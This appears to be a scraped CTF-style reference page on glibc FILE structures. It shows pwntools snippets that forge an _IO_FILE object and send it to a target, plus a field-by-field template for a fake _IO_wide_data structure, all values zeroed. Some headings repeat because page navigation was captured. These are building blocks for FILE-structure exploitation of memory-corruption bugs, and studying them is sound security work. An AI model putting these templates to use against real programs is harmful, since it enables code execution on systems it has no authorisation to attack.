Structures
_IO_FILE
_IO_FILEfrom pwn import *
file = FileStructure(0x0)
file.flags = 0xFBAD0000
io.sendline(bytes(file))_IO_jump_t
_IO_jump_t_IO_wide_data
_IO_wide_dataLast updated
_IO_FILEfrom pwn import *
file = FileStructure(0x0)
file.flags = 0xFBAD0000
io.sendline(bytes(file))_IO_jump_t_IO_wide_dataLast updated
# some structures inside _wide_data
# 1. wchar_t (2 bytes)
# 2. __mbstate_t (8 bytes)
# https://codebrowser.dev/glibc/glibc/wcsmbs/bits/types/__mbstate_t.h.html#__mbstate_t
# 3. _IO_codecvt (8+8+8+4+4+4+8+11)*2 (alligned to 0x70)
# https://codebrowser.dev/glibc/glibc/libio/libio.h.html#_IO_codecvt
fake_wide_data = flat([
p64(0x0) * 3, # [WIDE DATA] read_*
p64(0x0), # [WIDE DATA] write_base
p64(0x0), # [WIDE DATA] write_ptr
p64(0x0), # [WIDE DATA] write_end
p64(0x0), # [WIDE DATA] buf_base
p64(0x0), # [WIDE DATA] buf_end
p64(0x0), # [WIDE DATA] save_base
p64(0x0), # [WIDE DATA] backup_base
p64(0x0), # [WIDE DATA] save_end
])
fake_wide_data += b'\x00' * 8 # [WIDE DATA] state
fake_wide_data += b'\x00' * 8 # [WIDE DATA] last_state
fake_wide_data += p64(0x0).ljust(0x70, b'\x00') # [WIDE DATA] codecvt
fake_wide_data += p64(0x0) # [WIDE DATA] wchar_t shortbuf[1] (alligned to 8 bytes)
fake_wide_data += p64(0x0) # [WIDE DATA] vtable